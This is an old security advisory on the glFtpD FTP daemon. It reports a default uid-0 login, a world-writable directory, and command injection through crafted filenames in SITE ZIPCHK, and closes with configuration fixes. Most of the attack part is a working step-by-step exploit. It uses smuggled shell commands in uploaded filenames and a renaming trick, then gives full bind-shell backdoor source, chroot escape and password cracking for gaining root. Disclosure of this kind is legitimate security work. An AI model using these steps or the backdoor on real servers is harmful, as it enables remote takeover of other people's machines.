COMMAND
glFtpD
SYSTEMS AFFECTED
glFtpD
PROBLEM
'suid' found following. glFtpD has several problems which can
lead to a remote attacker attaining root on your machine.
glFtpD is a FTP daemon available from www.glftpd.org. It claims
to be a beta release however it is in wide use accross the
internet. glFtpD is a somewhat attractive choice for many
non-technically minded people it is simple to install and can run
fine on the default configuration. It also comes in flavours for
Linux, FreeBSD and Solaris.
glFtpD is also quite packed with "features" such as the ability
to script addons in tcl etc. With such a large amount of features
it appears that the attention paid to security has suffered
somewhat during development. Vulnerabilities are following.
1) Default Login:
=================
By default glFtpD installs a user account on your new FTP server
called "glftpd" the password of this user is predictably "glftpd".
This default user also has a UID of 0. This does translate into
them actually FTP'ing to your machine as uid == 0. Bad kitty.
2) World writable site directory:
=================================
By default, your new ftp servers ~/site directory is world
writable.
3) SITE ZIPCHK command:
=======================
The SITE command ZIPCHK can be used to check the validity of a ZIP
file on a server. Presumably this is so you can make sure the
ZIP file you are about to download is valid and free from error.
The way this works is thus:
- glFtpD user does:
ftp> quote SITE ZIPCHK XXXXX.ZIP
glFtpD then runs a shell script with XXXXX.ZIP as argv[1] or 2.
which calls /bin/unzip etc etc. If a user is able to create a
filename with ";" characters in the name, they can execute
arbitrary code on the remote server with the privelege level of
the server.
Exploit Information
- 1) & 2) are traditionally bad. Problems are obvious. With 1):
- Local users. FTP localhost and have uid 0. Not a problem?
- TCP spoofing attacks.
http://www.securityfocus.com/templates/advisory.html?id=1176
- Regular FTP users use method 3 to get a shell and use that
to ftp from localhost. Uid 0.
- 3) This is quite simple a user need only have some place to
upload files:
- You will need to build some kind of backdoor to allow you
access, using bindshell.c (again)
$ gcc bindshell.c -o b -static
- Create an empty file called " ; bash blah;"
- Create an empty file called " ; unzip blah;"
$ > " ; bash blah;"
- Create a script called "blah" :
$ cat > blah
#!/bin/bash
./b &
^D
- "ZIP" these files up.
$ zip blah.zip blah b
- Login to your FTP server. Now upload your files:
ftp> put blah.zip
ftp> put " ; bash blah;"
ftp> put " ; unzip blah.zip;"
- Because glFtpD attempts to convert spaces in filenames to
underscores, youll need to rename them back.
ftp> quote rnfr "_;_bash_blah;"
ftp> quote rnto " ; bash blah;"
ftp> quote rnfr "_;_unzip_blah.zip;"
ftp> quote rnto " ; unzip blah.zip;"
- Now run a ZIPCHK on the unzip one:
ftp> quote SITE ZIPCHK " ; unzip blah.zip;"
- Hurray, now do a few ls commands till you get a file
listing. Now run:
ftp> quote SITE ZIPCHK " ; bash blah;"
- glFtpD will spit out an error message. Ignore it. Now
telnet to the port defined within bindshell.c.
- Once your on. If you attacked the glftpd account (or any
uid = 0 account), you may now use simple chroot() breaking
techniques (http://www.suid.kg/source/breakchroot.c) to
have run of the entire box.
- If you did not have a uid == 0 account. You'll probably be
in a chroot environment and you dont really have a way out
except to:
- check /etc/passwd (really $GLFTPDHOME/etc/passwd)
- Crack a uid == 0 passwd, maybe the glftpd account is
still in there
- Use your imagination.
bindshell.c goes like this:
/*
* Unknown author.
*/
#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;
int main (int argc, char *argv[])
{
int i;
for(i=0;i<argc;i++) {
memset(argv[i],'\x0',strlen(argv[i]));
};
strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
SOLUTION
Easy fix should be override the command in glftpd.conf (or
equivalent) with something like:
site_cmd ZIPCHK TEXT /ftp-data/misc/disabled
Wich causes a textfile to be displayed rather then a command
executed. The fix (officially) from glftpd developers GreyLine
and Usurper is to add:
path-filter * /ftp-data/misc/pathmsg ^[-A-Za-z0-9_.()[:space:]]*$ ^\.^-
to config file. The fix will be included in the next glftpd
release.